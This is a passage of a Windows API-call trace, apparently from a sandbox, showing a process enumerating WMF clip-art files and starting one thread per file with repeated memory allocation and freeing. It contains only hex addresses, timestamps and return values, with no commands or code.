	[0245.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22e0
	[0245.548] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.549] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00231_.WMF", cAlternateFileName="")) returned 1
	[0245.550] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22e4
	[0245.552] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.553] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00272_.WMF", cAlternateFileName="")) returned 1
	[0245.553] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22e8
	[0245.555] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.556] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c9b200, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c9b200, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5aa4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00468_.WMF", cAlternateFileName="")) returned 1
	[0245.556] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22ec
	[0245.558] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.559] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d320700, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d320700, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x1cf8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00478_.WMF", cAlternateFileName="")) returned 1
	[0245.559] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22f0
	[0245.561] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.562] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00485_.WMF", cAlternateFileName="")) returned 1
	[0245.562] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22f4
	[0245.564] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.564] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d627000, ftCreationTime.dwHighDateTime=0x1bd98a5, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d627000, ftLastWriteTime.dwHighDateTime=0x1bd98a5, nFileSizeHigh=0x0, nFileSizeLow=0x1402c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00489_.WMF", cAlternateFileName="")) returned 1
	[0245.564] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22f8
	[0245.566] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.567] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00531_.WMF", cAlternateFileName="")) returned 1
	[0245.567] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22fc
	[0245.569] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.570] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33585700, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33585700, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x8da8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00542_.WMF", cAlternateFileName="")) returned 1
	[0245.570] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2300
	[0245.572] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.573] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b853b00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b853b00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x140c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00555_.WMF", cAlternateFileName="")) returned 1
	[0245.573] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2304
	[0245.575] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.575] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30066900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30066900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00559_.WMF", cAlternateFileName="")) returned 1
	[0245.575] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2308
	[0245.577] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.578] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17bf3a00, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bf3a00, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x5670, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00563_.WMF", cAlternateFileName="")) returned 1
	[0245.578] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230c
	[0245.580] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.580] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00578_.WMF", cAlternateFileName="")) returned 1
	[0245.580] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2310
	[0245.868] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.869] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896e9800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x896e9800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00608_.WMF", cAlternateFileName="")) returned 1
	[0245.869] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2314
	[0245.871] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.872] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c352400, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c352400, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4cea, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00633_.WMF", cAlternateFileName="")) returned 1
	[0245.872] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2318
	[0245.874] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.875] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd0f200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bd0f200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb12c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00640_.WMF", cAlternateFileName="")) returned 1
	[0245.875] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x231c
	[0245.877] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.877] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x883d6b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x883d6b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6028, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00668_.WMF", cAlternateFileName="")) returned 1
	[0245.877] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2320
	[0245.880] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.880] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9c1f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a9c1f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x108a, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00685_.WMF", cAlternateFileName="")) returned 1
	[0245.880] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2324
	[0245.882] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.883] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78490a00, ftCreationTime.dwHighDateTime=0x1bf0b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78490a00, ftLastWriteTime.dwHighDateTime=0x1bf0b13, nFileSizeHigh=0x0, nFileSizeLow=0x112e, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00686_.WMF", cAlternateFileName="")) returned 1
	[0245.883] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2328
	[0245.886] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.887] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45d3900, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb45d3900, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00693_.WMF", cAlternateFileName="")) returned 1
	[0245.887] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x232c
	[0245.889] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.890] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49cc9e00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49cc9e00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00720_.WMF", cAlternateFileName="")) returned 1
	[0245.890] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2330
	[0245.892] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.892] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80c3400, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80c3400, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x1afc, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00723_.WMF", cAlternateFileName="")) returned 1
	[0245.892] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2334
	[0245.894] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.894] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02b300, ftCreationTime.dwHighDateTime=0x1c04210, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d02b300, ftLastWriteTime.dwHighDateTime=0x1c04210, nFileSizeHigh=0x0, nFileSizeLow=0xb1a4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00726_.WMF", cAlternateFileName="")) returned 1
	[0245.895] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2338
	[0245.897] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.897] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfefd5700, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfefd5700, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9e2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00737_.WMF", cAlternateFileName="")) returned 1
	[0245.897] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x233c
	[0245.899] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.900] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe289fc00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe289fc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x1ca0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00833_.WMF", cAlternateFileName="")) returned 1
	[0245.900] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2340
	[0246.082] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.083] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870c3e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x870c3e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1908, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00898_.WMF", cAlternateFileName="")) returned 1
	[0246.244] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2344
	[0246.246] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.247] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb8f800, ftCreationTime.dwHighDateTime=0x1bd4b1c, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bb8f800, ftLastWriteTime.dwHighDateTime=0x1bd4b1c, nFileSizeHigh=0x0, nFileSizeLow=0x3100, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00934_.WMF", cAlternateFileName="")) returned 1
	[0246.247] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2348
	[0246.249] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.249] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca3200, ftCreationTime.dwHighDateTime=0x1bd4b11, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24ca3200, ftLastWriteTime.dwHighDateTime=0x1bd4b11, nFileSizeHigh=0x0, nFileSizeLow=0x2904, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00998_.WMF", cAlternateFileName="")) returned 1
